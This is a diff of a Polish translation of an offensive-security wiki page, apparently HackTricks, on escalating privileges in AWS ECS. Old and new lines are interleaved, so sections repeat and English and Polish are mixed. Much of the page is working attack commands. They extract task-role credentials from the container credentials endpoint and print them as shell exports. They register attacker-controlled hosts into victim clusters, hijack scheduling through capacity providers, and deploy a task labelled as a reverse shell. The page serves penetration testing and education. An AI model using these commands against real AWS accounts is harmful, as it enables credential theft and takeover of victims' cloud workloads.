### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
W praktyce, posiadając tylko te uprawnienia, można użyć overrides, aby wykonać dowolne polecenia w kontenerze z dowolną rolą za pomocą czegoś takiego:
|
||||
Właściwie, tylko z tymi uprawnieniami możliwe jest użycie overrides do wykonania dowolnych poleceń w kontenerze z dowolną rolą za pomocą czegoś takiego:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -186,11 +186,11 @@ aws ecs run-task \
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Ten scenariusz jest podobny do poprzednich, ale **bez** uprawnienia **`iam:PassRole`**.\
|
||||
To wciąż interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet bez przypisanej roli, możesz **run a privileged container to escape** na węzeł i **steal the EC2 IAM role** oraz **the other ECS containers roles** działające na węźle.\
|
||||
Możesz nawet **force other tasks to run inside the EC2 instance** którą przejmiesz, aby ukraść ich poświadczenia (jak omówiono w [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
|
||||
To nadal interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet bez roli, mógłbyś **run a privileged container to escape** do węzła i **steal the EC2 IAM role** oraz **the other ECS containers roles** uruchomionych na tym węźle.\
|
||||
Możesz nawet **force other tasks to run inside the EC2 instance** które przejmiesz, aby ukraść ich poświadczenia (jak omówiono w [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Ten atak jest możliwy tylko wtedy, gdy **klaster ECS używa instancji EC2** a nie Fargate.
|
||||
> Ten atak jest możliwy tylko jeśli **ECS cluster is using EC2** instances, a nie Fargate.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Atakujący posiadający uprawnienia **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **execute commands** wewnątrz uruchomionego kontenera i exfiltrate przypisaną do niego IAM role (potrzebujesz describe permissions, ponieważ są one wymagane do uruchomienia `aws ecs execute-command`).\
|
||||
Jednakże, aby to zrobić, instancja kontenera musi mieć uruchomionego **ExecuteCommand agent** (który domyślnie nie jest).
|
||||
Atakujący posiadający uprawnienia **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonywać polecenia** wewnątrz uruchomionego kontenera i eksfiltrować przypisaną do niego IAM role (potrzebujesz uprawnień describe, ponieważ są one konieczne do uruchomienia `aws ecs execute-command`).\
|
||||
Jednakże, aby to zrobić, instancja kontenera musi mieć uruchomiony **ExecuteCommand agent** (który domyślnie nie jest).
|
||||
|
||||
Therefore, the attacker cloud try to:
|
||||
W związku z tym atakujący może spróbować:
|
||||
|
||||
- **Spróbuj uruchomić polecenie** w każdym uruchomionym kontenerze
|
||||
- **Spróbować uruchomić polecenie** w każdym działającym kontenerze
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -256,18 +256,34 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
Po uzyskaniu shella wewnątrz kontenera, zwykle możesz **extract the task role credentials** z task credentials endpoint i ponownie użyć ich poza kontenerem:
|
||||
```sh
|
||||
# Inside the container:
|
||||
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq
|
||||
|
||||
# If you want to use them locally, print shell exports:
|
||||
python3 - <<'PY'
|
||||
import json, os, urllib.request
|
||||
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
|
||||
d = json.load(urllib.request.urlopen(u, timeout=2))
|
||||
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
|
||||
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
|
||||
print("export AWS_SESSION_TOKEN=" + d["Token"])
|
||||
PY
|
||||
```
|
||||
- Jeśli ma **`ecs:RunTask`**, uruchom zadanie z `aws ecs run-task --enable-execute-command [...]`
|
||||
- Jeśli ma **`ecs:StartTask`**, uruchom zadanie z `aws ecs start-task --enable-execute-command [...]`
|
||||
- Jeśli ma **`ecs:CreateService`**, utwórz usługę z `aws ecs create-service --enable-execute-command [...]`
|
||||
- Jeśli ma **`ecs:UpdateService`**, zaktualizuj usługę z `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Możesz znaleźć **przykłady tych opcji** w **poprzednich sekcjach ECS privesc**.
|
||||
Możesz znaleźć **przykłady tych opcji** w **wcześniejszych sekcjach ECS privesc**.
|
||||
|
||||
**Potencjalny wpływ:** Privesc do innej roli przypisanej do kontenerów.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Sprawdź na **stronie ssm privesc**, jak możesz nadużyć tego uprawnienia, aby **privesc do ECS**:
|
||||
Sprawdź na stronie **ssm privesc**, jak możesz nadużyć tego uprawnienia, aby **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ssm-privesc/README.md
|
||||
@@ -275,7 +291,7 @@ Sprawdź na **stronie ssm privesc**, jak możesz nadużyć tego uprawnienia, aby
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Sprawdź na **stronie ec2 privesc**, jak możesz nadużyć tych uprawnień, aby **privesc do ECS**:
|
||||
Sprawdź na stronie **ec2 privesc**, jak możesz nadużyć tych uprawnień, aby **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-privesc/README.md
|
||||
@@ -283,16 +299,51 @@ Sprawdź na **stronie ec2 privesc**, jak możesz nadużyć tych uprawnień, aby
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
Atakujący z tymi uprawnieniami mógłby potencjalnie zarejestrować instancję EC2 w klastrze ECS i uruchomić na niej zadania. Mogłoby to pozwolić atakującemu na wykonanie dowolnego kodu w kontekście zadań ECS.
|
||||
An attacker z tymi uprawnieniami często może **zamienić "cluster membership" w obejście granicy bezpieczeństwa**:
|
||||
|
||||
- Zarejestruj **attacker-controlled EC2 instance** w klastrze ECS ofiary (stając się instancją kontenera)
|
||||
- Ustaw niestandardowe **container instance attributes**, aby spełnić **placement constraints**
|
||||
- Pozwól ECS zaplanować zadania na tym hoście
|
||||
- Ukradnij **task role credentials** (oraz wszelkie sekrety/dane wewnątrz kontenera) z zadania uruchomionego na Twoim hoście
|
||||
|
||||
Ogólny przebieg:
|
||||
|
||||
1) Uzyskaj dokument tożsamości instancji EC2 wraz z podpisem z instancji EC2, którą kontrolujesz w docelowym koncie (np. poprzez SSM/SSH):
|
||||
```bash
|
||||
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
|
||||
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
|
||||
```
|
||||
2) Zarejestruj go w docelowym klastrze, opcjonalnie ustawiając atrybuty, aby spełnić ograniczenia rozmieszczenia:
|
||||
```bash
|
||||
aws ecs register-container-instance \
|
||||
--cluster "$CLUSTER" \
|
||||
--instance-identity-document file://iidoc.json \
|
||||
--instance-identity-document-signature "$(cat iisig)" \
|
||||
--attributes name=labtarget,value=hijack
|
||||
```
|
||||
3) Potwierdź, że dołączył:
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster "$CLUSTER"
|
||||
```
|
||||
4) Uruchom task / zaktualizuj service, aby coś zostało zaplanowane na instancji, a następnie pozyskaj task role creds z wnętrza taska:
|
||||
```bash
|
||||
# On the container host:
|
||||
docker ps
|
||||
docker exec -it <container-id> sh
|
||||
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
```
|
||||
Notes:
|
||||
|
||||
- Rejestrowanie instancji kontenera przy użyciu instance identity document/signature oznacza, że masz dostęp do instancji EC2 w docelowym koncie (lub że ją przejąłeś). Dla cross-account "bring your own EC2", zobacz technikę **ECS Anywhere** na tej stronie.
|
||||
- Placement constraints często opierają się na atrybutach instancji kontenera. Wyenumeruj je za pomocą `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, oraz `ecs:DescribeContainerInstances`, aby wiedzieć, które atrybuty musisz ustawić.
|
||||
|
||||
- TODO: Czy możliwe jest zarejestrowanie instancji z innego konta AWS, tak aby zadania były uruchamiane na maszynach kontrolowanych przez atakującego??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Przetestować to
|
||||
|
||||
Atakujący posiadający uprawnienia `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` i `ecs:DescribeTaskSets` może **utworzyć złośliwy task set dla istniejącej usługi ECS i zaktualizować primary task set**. To pozwala atakującemu **wykonać dowolny kod w ramach usługi**.
|
||||
Atakujący z uprawnieniami `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, oraz `ecs:DescribeTaskSets` może **utworzyć złośliwy task set dla istniejącej usługi ECS i zaktualizować primary task set**. To pozwala atakującemu **wykonywać dowolny kod wewnątrz usługi**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -318,7 +369,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Potential Impact**: Wykonanie dowolnego kodu w zaatakowanej usłudze, co może wpłynąć na jej działanie lub doprowadzić do wykradzenia wrażliwych danych.
|
||||
**Potencjalny wpływ**: Wykonanie dowolnego kodu w dotkniętej usłudze, co może wpłynąć na jej działanie lub doprowadzić do wykradzenia wrażliwych danych.
|
||||
|
||||
## Referencje
|
||||
|
||||
@@ -332,9 +383,9 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
Atakujący z uprawnieniami do zarządzania ECS capacity providers i aktualizowania usług może utworzyć EC2 Auto Scaling Group pod swoją kontrolą, opakować ją jako ECS Capacity Provider, przypisać do target cluster i zmigrować usługę ofiary, aby używała tego provider. Zadania zostaną wtedy zaplanowane na EC2 instances kontrolowanych przez atakującego, co pozwala na dostęp na poziomie systemu operacyjnego (OS-level) do inspekcji kontenerów i kradzieży task role credentials.
|
||||
Atakujący z uprawnieniami do zarządzania ECS capacity providers i aktualizacji usług może utworzyć kontrolowaną przez siebie EC2 Auto Scaling Group, opakować ją jako ECS Capacity Provider, powiązać z docelowym clusterem i przenieść usługę ofiary, aby używała tego provider. Zadania zostaną wtedy zaplanowane na instancjach EC2 kontrolowanych przez atakującego, co umożliwi dostęp na poziomie systemu operacyjnego do kontenerów i kradzież task role credentials.
|
||||
|
||||
Commands (us-east-1):
|
||||
Polecenia (us-east-1):
|
||||
|
||||
- Wymagania wstępne
|
||||
|
||||
@@ -356,25 +407,25 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- Zmigruj usługę, aby używała Twojego provider
|
||||
- Zmigruj usługę na swój provider
|
||||
|
||||
|
||||
|
||||
- Zweryfikuj, że zadania uruchamiają się na instancjach kontrolowanych przez atakującego
|
||||
- Zweryfikuj, że zadania uruchamiają się na instancjach atakującego
|
||||
|
||||
|
||||
|
||||
- Opcjonalnie: z poziomu EC2 node wykonaj docker exec do docelowych kontenerów i odczytaj http://169.254.170.2 aby uzyskać task role credentials.
|
||||
- Opcjonalnie: z węzła EC2 wykonaj docker exec do target containers i odczytaj http://169.254.170.2 aby uzyskać task role credentials.
|
||||
|
||||
- Czyszczenie
|
||||
|
||||
|
||||
|
||||
**Potential Impact:** EC2 nodes kontrolowane przez atakującego otrzymują zadania ofiary, umożliwiając dostęp na poziomie systemu operacyjnego do kontenerów i kradzież task IAM role credentials.
|
||||
**Potencjalny wpływ:** Instancje EC2 kontrolowane przez atakującego otrzymują zadania ofiary, umożliwiając dostęp na poziomie systemu operacyjnego do kontenerów i kradzież task IAM role credentials.
|
||||
|
||||
|
||||
<details>
|
||||
<summary>Polecenia krok po kroku (kopiuj/wklej)</summary>
|
||||
<summary>Kroki krok po kroku (kopiuj/wklej)</summary>
|
||||
<pre>
|
||||
export AWS_DEFAULT_REGION=us-east-1
|
||||
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
|
||||
@@ -409,19 +460,19 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
|
||||
|
||||
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
|
||||
|
||||
Nadużyj ECS Anywhere, aby zarejestrować host kontrolowany przez atakującego jako EXTERNAL container instance w klastrze ECS ofiary i uruchamiać na nim zadania przy użyciu uprzywilejowanych task i execution roles. Daje to kontrolę na poziomie systemu operacyjnego nad miejscem uruchamiania zadań (twoja własna maszyna) i umożliwia kradzież poświadczeń/danych z zadań oraz podłączonych wolumenów bez ingerencji w capacity providers czy ASGs.
|
||||
Wykorzystaj ECS Anywhere, aby zarejestrować host kontrolowany przez atakującego jako EXTERNAL container instance w klastrze ECS ofiary i uruchamiać na tym hoście zadania przy użyciu uprzywilejowanych task i execution roles. Daje to kontrolę na poziomie systemu operacyjnego nad miejscem uruchamiania zadań (twoja własna maszyna) oraz umożliwia kradzież poświadczeń/danych z zadań i podłączonych wolumenów bez ingerencji w capacity providers czy ASG.
|
||||
|
||||
- Wymagane uprawnienia (przykład minimalny):
|
||||
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
|
||||
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (dla ECS Anywhere instance role oraz task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (jeśli używasz awslogs)
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (dla roli instancji ECS Anywhere oraz task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
|
||||
|
||||
- Wpływ: Uruchamianie dowolnych kontenerów z wybranym taskRoleArn na hoście kontrolowanym przez atakującego; eksfiltracja task-role credentials z 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; dostęp do dowolnych wolumenów zamontowanych przez zadania; bardziej ukryte niż manipulowanie capacity providers/ASGs.
|
||||
- Wpływ: Uruchomienie dowolnych kontenerów z wybranym taskRoleArn na hoście atakującego; wykradzenie task-role credentials z 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; dostęp do dowolnych wolumenów zamontowanych przez tasks; bardziej dyskretne niż manipulowanie capacity providers/ASGs.
|
||||
|
||||
Kroki
|
||||
|
||||
1) Utwórz/znajdź klaster (us-east-1)
|
||||
1) Utwórz/zidentyfikuj klaster (us-east-1)
|
||||
```bash
|
||||
aws ecs create-cluster --cluster-name ht-ecs-anywhere
|
||||
```
|
||||
@@ -434,7 +485,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
|
||||
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
|
||||
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
|
||||
```
|
||||
3) Przygotuj hosta atakującego i automatycznie zarejestruj go jako EXTERNAL (przykład: mały AL2 EC2 jako “on‑prem”)
|
||||
3) Utwórz attacker host i automatycznie zarejestruj go jako EXTERNAL (przykład: mały AL2 EC2 jako “on‑prem”)
|
||||
|
||||
<details>
|
||||
<summary>user-data.sh</summary>
|
||||
@@ -455,7 +506,7 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
|
||||
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
|
||||
aws ec2 wait instance-status-ok --instance-ids $IID
|
||||
```
|
||||
4) Zweryfikuj, czy zewnętrzna instancja kontenera dołączyła
|
||||
4) Zweryfikuj, że EXTERNAL container instance został dołączony
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster ht-ecs-anywhere
|
||||
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
|
||||
@@ -498,33 +549,54 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
|
||||
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
--container-instances $CI
|
||||
```
|
||||
6) Stąd kontrolujesz hosta uruchamiającego tasks. Możesz odczytać logi z zadań (jeśli awslogs) lub bezpośrednio wykonać exec na hoście, aby eksfiltrować poświadczenia/dane z twoich tasks.
|
||||
6) Stąd kontrolujesz hosta uruchamiającego zadania. Możesz odczytać logi z zadań (jeśli awslogs) lub bezpośrednio wykonać exec na hoście, aby wyeksfiltrować poświadczenia/dane z zadań.
|
||||
|
||||
|
||||
|
||||
#### Przykład polecenia (placeholders)
|
||||
|
||||
|
||||
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
Atakujący z uprawnieniami do zarządzania ECS capacity providers i aktualizowania services może utworzyć EC2 Auto Scaling Group, którą kontroluje, opakować ją w ECS Capacity Provider, powiązać ją z docelowym clusterem i zmigrować victim service, aby używał tego provider. Tasks zostaną wtedy zaplanowane na instancjach EC2 kontrolowanych przez atakującego, co umożliwia dostęp na poziomie OS do inspekcji containers i kradzież task role credentials.
|
||||
Atakujący z uprawnieniami do zarządzania ECS capacity providers i aktualizowania usług może utworzyć EC2 Auto Scaling Group, którą kontroluje, umieścić ją w ECS Capacity Provider, powiązać ją z docelowym klastrem i przenieść usługę ofiary, aby korzystała z tego provider'a. Zadania zostaną wtedy zaplanowane na instancjach EC2 kontrolowanych przez atakującego, co umożliwia dostęp na poziomie systemu operacyjnego w celu inspekcji kontenerów i kradzieży poświadczeń roli zadania.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
- Wymagania wstępne
|
||||
|
||||
- Utwórz Launch Template, aby ECS agent dołączył do target cluster
|
||||
|
||||
|
||||
- Utwórz Launch Template dla agenta ECS, aby dołączył do docelowego klastra
|
||||
|
||||
|
||||
|
||||
- Utwórz Auto Scaling Group
|
||||
|
||||
|
||||
|
||||
- Utwórz Capacity Provider z ASG
|
||||
|
||||
- Powiąż Capacity Provider z clusterem (opcjonalnie jako domyślny)
|
||||
|
||||
- Przenieś service, aby korzystał z twojego Capacity Provider
|
||||
|
||||
- Zweryfikuj, że tasks trafiają na instancje kontrolowane przez atakującego
|
||||
- Powiąż Capacity Provider z klastrem (opcjonalnie jako domyślny)
|
||||
|
||||
- Opcjonalnie: z EC2 node wykonaj docker exec do target containers i odczytaj http://169.254.170.2, aby uzyskać task role credentials.
|
||||
|
||||
|
||||
- Przenieś usługę na twojego provider'a
|
||||
|
||||
|
||||
|
||||
- Zweryfikuj, że zadania trafią na instancje kontrolowane przez atakującego
|
||||
|
||||
|
||||
|
||||
- Opcjonalnie: z węzła EC2 wykonaj docker exec do docelowych kontenerów i odczytaj http://169.254.170.2, aby uzyskać poświadczenia roli zadania.
|
||||
|
||||
- Sprzątanie
|
||||
|
||||
**Potencjalny wpływ:** EC2 nodes kontrolowane przez atakującego otrzymują zadania ofiary, umożliwiając dostęp na poziomie systemu operacyjnego do kontenerów i kradzież task IAM role credentials.
|
||||
|
||||
|
||||
**Potencjalny wpływ:** Instancje EC2 kontrolowane przez atakującego otrzymują zadania ofiary, co umożliwia dostęp na poziomie OS do kontenerów i kradzież poświadczeń roli zadania IAM.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user